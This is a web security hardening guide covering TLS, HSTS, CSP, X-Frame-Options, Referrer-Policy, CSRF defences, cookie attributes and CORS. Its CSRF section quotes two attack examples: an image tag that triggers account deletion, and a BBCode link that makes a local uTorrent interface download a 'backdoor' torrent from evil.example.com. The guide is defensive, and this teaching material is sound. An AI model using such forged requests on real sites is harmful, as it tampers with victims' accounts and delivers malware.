Establishing a reasonable amount of security for a website is a non-trivial unending job. Here are some notes and resources that I find helpful.

Web Server Config

Start with TLS

All public-facing websites need to be protected by Transport Layer Security (TLS). TLS is a technology which allows web traffic to be encrypted and this encryption helps to protect the privacy and security of the users of a site.

Deploying a site with TLS can be accomplished in a free and automated fashion. Services like Let’s Encrypt and the issuance features of large cloud providers (for example AWS Certificate Manager) encourage more secure defaults and automatic management. For more information, check out the Let’s Encrypt Getting Started Guide or your hosting provider’s documentation.

Audit Your TLS Setup With SSL Labs

Even with automated setup, getting the right settings for your site can be a bit tricky, so it’s important to audit every new site while you’re standing it up. Once a site is available on the Internet, you’ll want to check it with the Qualys SSL Labs Server Test or a similar service.

  • Adjust your server’s config as needed until your site gets a score of “A” or better.

  • For information about the adjustments you need to make to improve your results, check out their SSL and TLS Deployment Best Practices.

  • Selecting the right cipher suites for your site can be a challenge. The key question you need to answer for your site is: “what browsers / clients / devices do I need to support?” Your frontend engineering design decisions may already have decided this for you – for example if you’ve decided to require all your users to have a browser that supports ES6 you can rule out the need to support a ton of ancient browser crypto. Use the Server Test result page’s handshake simulator section to determine the weakest cipher suite you want to support, and remove anything weaker.

    • Alternatively, the Mozilla Security/Server Side TLS Wiki Page maintains a curated list of cipher suite recommendations – you just choose between “Modern” or “Intermediate”.
    • ciphersuite.info is a pretty good resource for getting information about particular cipher suites and their current status
    • If you’re lost, just use Mozilla’s Intermediate tier.

Configure STS, CSP, Etc.

For the next portion of the web server config you’ll want to start with an audit then iterate on your settings.

Audit With The Mozilla Observatory

The excellent Mozilla Observatory is like the SSL Labs Server Test – it is a free service which helps you audit aspects of your site and makes helpful recommendations for improvement. It will guide you through the items described below (and more).

Strict-Transport-Security

First you need to help your users take advantage of all that TLS work you did, which we can do with HSTS. As the excellent Mozilla web security guidelines say:

HTTP Strict Transport Security (HSTS) is an HTTP header that notifies [browsers] to only connect to a given site over HTTPS, even if the scheme chosen was HTTP. Browsers that have had HSTS set for a given site will transparently upgrade all requests to HTTPS. HSTS also tells the browser to treat TLS and certificate-related errors more strictly by disabling the ability for users to bypass the error page.

A very secure HSTS header looks like this:

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

…but make sure you understand the implications. If you turn on this policy, clients that visit your site will not be able to use plain HTTP with it for two years. Additionally your site may be added to the HSTS preload list. So do use this header but make sure you’re ready before you activate it in production.

Content-Security-Policy

XSS, or Cross-site scripting is an important category of vulnerability that websites need to guard against. Again, from wikipedia:

XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. […] XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site’s owner network.

One way to help protect against XSS is to use a content security policy. Now again from the Mozilla web security guidelines:

Content Security Policy (CSP) is an HTTP header that allows site operators fine-grained control over where resources on their site can be loaded from. The use of this header is the best method to prevent cross-site scripting (XSS) vulnerabilities.

Getting your CSP header right can be hard, particularly if your site depends on a lot of external resources.

Here’s an example CSP payload:

default-src 'none'; script-src 'self'; img-src 'self'; style-src 'self'; connect-src 'self' https://api.example.com; form-action 'self'; media-src 'self' https://sometube.example.com; object-src https://sometube.example.com; font-src 'self'; frame-src 'none'; manifest-src 'none'; worker-src 'self'; base-uri 'none'; frame-ancestors 'none'; upgrade-insecure-requests; require-trusted-types-for 'script';

The tokens 'self' and 'none' (including their single-quote characters) are keywords with special meaning, semi-colons (;) are required between directives. The table below describes each directive.

Directive What It Does
default-src 'none'; this sets a very strict secure default for the other -src policies below
script-src 'self'; limits the src on <script> tags to just this site
img-src 'self'; limits <img> src to just this site
style-src 'self'; limits CSS hrefs and other loading to just this site
connect-src 'self' https://api.example.com; limits AJAX requests to this site and one external API
form-action 'self'; limits the URIs which <form> can submit to
media-src 'self' https://sometube.example.com; limits <audio>, <video>, and <track> src to this site and a specific external video host
object-src https://sometube.example.com; limits <object>, <embed>, and <applet> src to a specific external video host
font-src 'self'; limits web font src and other URIs to just this site
frame-src 'none'; disables frame elements. we’re not using 'self' here because the frame-ancestors setting below wouldn’t permit it to work anyway. this entry is redundant because the default is already 'none'
manifest-src 'none'; disables loading app manifests (<link rel="manifest"...>)
worker-src 'self'; limits the URI on Worker, SharedWorker, or ServiceWorker to just this site
base-uri 'none'; disables setting a new base URI using a <base> tag
frame-ancestors 'none'; prevents external sites from embedding this site via <frame>, <iframe>, <object>, <embed>, or <applet> tags; belt-and-suspenders with X-Frame-Options
upgrade-insecure-requests; instructs the browser to upgrade any request that would normally be plain http to the equivalent https request
require-trusted-types-for 'script'; “locks down DOM XSS injection sinks”… says google

Obviously many sites will have very different CSPs. You should read Mozilla’s very helpful Content-Security-Policy directive documentation and write a policy that meets your needs. Then test it with the Google CSP Evaluator or some other testing tool.

See also: https://content-security-policy.com/

Because it can be a real chore to write an accurate & helpful CSP for an existing site, there is a CSP mechanism that you can use to define a report-only policy and a URI which CSP violations will be reported to.

X-Frame-Options

One of the perils facing you and your visitors is Clickjacking. An attacker can embed your website in a hidden frame on their website and accomplish bad things. As wikipedia explains:

Classic clickjacking refers to when an attacker uses hidden layers on web pages to manipulate the actions a user’s cursor does, resulting in the user being misled about what truly is being clicked on.

A user might receive an email with a link to a video about a news item, but another webpage, say a product page on Amazon, can be “hidden” on top or underneath the “PLAY” button of the news video. The user tries to “play” the video but actually “buys” the product from Amazon. The hacker can only send a single click, so they rely on the fact that the visitor is both logged into Amazon.com and has 1-click ordering enabled.

While technical implementation of these attacks may be challenging due to cross-browser incompatibilities, a number of tools such as BeEF or Metasploit Project offer almost fully automated exploitation of clients on vulnerable websites. Clickjacking may be facilitated by - or may facilitate - other web attacks, such as XSS.

You should work to prevent clickjacking by preventing your site from being embedded in other sites. You can start to do this with the X-Frame-Options header.

A good X-Frame-Options header looks like this:

X-Frame-Options: DENY

Referrer Policy

Normally when you are browsing the web and you click a link to a new site, your browser tells the new site the URL of the page you are coming from. For example, imagine you’re browsing https://example.com/main.html and you click a link to https://other.example.net/other.html. When your browser is requesting the new page it will send along this HTTP header: Referer: https://example.com/main.html. This doesn’t just apply to links, it also applies to inline resources like images. The people running other.example.net will have a record of every link followed from example.com and every image that example.com is loading from other.example.net. When these assets are used as web beacons, large scale user tracking is possible and this opens the door for several security issues.

Referrer-Policy is an HTTP response header which typically instructs a browser to limit the amount of referrer information that should be sent to external servers. So returning to our example, the people running example.com could set a Referrer Policy on their server to prevent external sites like other.example.net from getting that referrer data.

There are quite a few options, but I’d recommend one of these:

  • no-referrer - Tells the browser not to send any referrer information for links or embedded content on this site.
  • strict-origin-when-cross-origin - Tells the browser to send full referrer information for internal links within this site and for external links it only sends a “sanitized” referrer (for example it sends https://app.example.com/ instead of the more risky-to-share https://app.example.com/user/123/bookmarks). Importantly it also tells the browser not to send any referrer information over a non-https connection.
  • strict-origin - Tells the browser to send full referrer information for internal links within this site and no information to external sites. Importantly it also tells the browser not to send any referrer information over a non-https connection.

The referrer-policy header supports fallbacks. The right-most mode that is supported by the browser will be used. For example this is a moderately privacy protective policy with good security characteristics:

Referrer-Policy: no-referrer, strict-origin-when-cross-origin

App Config: CSRF Mitigation, Cookie Security, CORS

These next items involve changes to your web application code or framework settings.

Cross-Site Request Forgery Mitigation

Cross-site request forgery (CSRF) is a class of attacks wherein an attacker tricks your browser into making a request to another service, often using your account to do it. Yet again the Mozilla web security guidelines have a great example:

Cross-site request forgeries are a class of attacks where unauthorised commands are transmitted to a website from a trusted user. Because they inherit the users cookies (and hence session information), they appear to be validly issued commands. A CSRF attack might look like this:

<!-- Attempt to delete a user's account -->
<img src="https://accounts.mozilla.org/management/delete?confirm=true">

Wikipedia’s example is also helpful:

CSRF attacks using image tags are often made from Internet forums, where users are allowed to post images but not JavaScript, for example using BBCode:

[img]http://localhost:8080/gui/?action=add-url&amp;s=http://evil.example.com/backdoor.torrent[/img]

When accessing the attack link to the local uTorrent application at localhost:8080, the browser would also always automatically send any existing cookies for that domain. This general property of web browsers enables CSRF attacks to exploit their targeted vulnerabilities and execute hostile actions as long as the user is logged into the target website (in this example, the local uTorrent web interface) at the time of the attack.

For mitigation, the OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet is an excellent reference, here is the short list of principles from that (be sure to read the actual content of the cheat sheet):

  • Check if your framework has built-in CSRF protection and use it

    • If framework does not have built-in CSRF protection add CSRF tokens to all state changing requests (requests that cause actions on the site) and validate them on backend
  • Always use SameSite Cookie Attribute for session cookies

  • Implement at least one mitigation from Defense in Depth Mitigations section

    • Use custom request headers
    • Verify the origin with standard headers
    • Use double submit cookies
  • Consider implementing user interaction based protection for highly sensitive operations

  • Remember that any Cross-Site Scripting (XSS) can be used to defeat all CSRF mitigation techniques!

    • See the OWASP XSS Prevention Cheat Sheet for detailed guidance on how to prevent XSS flaws.
  • Do not use GET requests for state changing operations.

    • If for any reason you do it, you have to also protect those resources against CSRF

I’ve tended to focus on making sure the framework CSRF protection is properly configured and is operating, that the origin is always being verified, and that HTTP GET requests never affect stored data.

Typically HTTP cookies are sent to a browser by a website’s server software, app framework, or app code. After a user successfully supplies their login information to a website, the site will typically set a cookie in the user’s browser which enables them to stay “logged-in” to the site and make subsequent requests which are pre-authenticated as the user. An HTTP response header setting a cookie looks like this:

Set-Cookie: userid=1234567; Path=/; Domain=.example.com

That’s a name=value pair then one or more semicolon-terminated metadata attributes. The browser only returns cookies to servers in the domain that they were originally set in (the granularity is configurable). If a website embeds media or other resources from a third-party the third-party’s server can set a cookie which can be used as a web beacon. Web beacons, when combined with HTTP referer data, track users across sites. This kind of tracking (and third-party cookies in general) are controversial, many users don’t like them and configure their browsers to block them. The European Union has legislation which governs use of cookies on sites that target European users.

To protect the privacy & security of your users, you should limit the use of cookies. When you do use cookies, make sure your software is configured to always set these attributes:

  • HttpOnly - the browser stores the cookie in a way that is not accessible to the javascript running on a page. This is an XSS mitigation which prevents malicious 3rd-party javascript from extracting & transmitting the contents of a user’s login/session/private cookies. While it can be helpful for XSS mitigation, it does not mitigate CSRF.

  • SameSite=Strict - indicates that the cookie should only be sent by the browser when the site is directly navigated to, not merely when an asset is being loaded. This makes the cookie the opposite of a web beacon. It is also an excellent CSRF mitigation.

  • Secure - indicates that the cookie should only be sent by the browser over an HTTPS connection. you should always have this enabled!

Cross-origin Resource Sharing

A web app, for example https://example.com/app, is normally restricted in what AJAX calls it can make. The Same-origin policy of all major browsers ensures that it can only access things under https://example.com/. Sometimes you need to make AJAX calls to a private API at a different origin or to make use of the rich ecosystem of public web APIs. Cross-origin Resource Sharing (or CORS) is a way for a web API or service to specify that it provides API resources to browsers.

A CORS header can allow any origin or it can specify a list of allowed origins. An allow-all CORS header looks like this:

Access-Control-Allow-Origin: *

A more restrictive header looks like this:

Access-Control-Allow-Origin: https://example.com

https://enable-cors.org/ may have some useful information about enabling CORS in your environment.